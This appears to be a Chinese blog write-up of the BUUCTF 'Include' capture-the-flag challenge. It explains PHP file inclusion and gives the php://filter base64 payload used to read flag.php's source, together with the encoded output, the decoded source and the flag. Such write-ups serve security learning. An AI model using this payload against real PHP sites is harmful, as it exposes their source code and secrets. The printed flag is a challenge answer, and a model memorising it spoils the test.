【BUUCTF】[ACTF2020 新生赛] IncludeWriteup

最新推荐文章于 2024-08-06 22:50:12 发布

你们这样一点都不可耐

最新推荐文章于 2024-08-06 22:50:12 发布

阅读量1.4k

点赞数 3

分类专栏： Web安全文章标签： php filter 安全 ctf 安全漏洞

本文链接：https://blog.csdn.net/vanarrow/article/details/108177243

版权

53 篇文章 13 订阅

订阅专栏

0x00 知识点

?file=flag.php 猜测文件包含漏洞
php://filter与包含函数结合时，php://filter流会被当作php文件执行。所以我们一般对其进行编码，阻止其不执行。从而导致任意文件读取。
php://filter 伪协议文件包含读取源代码，加上read=convert.base64-encode，用base64编码输出，不然会直接当做php代码执行，看不到源代码内容。
php://input 伪协议 + POST发送PHP代码（不行）

在这里插入图片描述

在这里插入图片描述

?file=php://filter/read=convert.base64-encode/resource=flag.php

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YWUyM2EzZWItM2FkNS00NzMzLWI1NGUtOTkzMjJlOTc1NTk5fQo=

在这里插入图片描述

<?php
echo "Can you find out the flag?";
//flag{ae23a3eb-3ad5-4733-b54e-99322e975599}

flag{ae23a3eb-3ad5-4733-b54e-99322e975599}

关注

专栏目录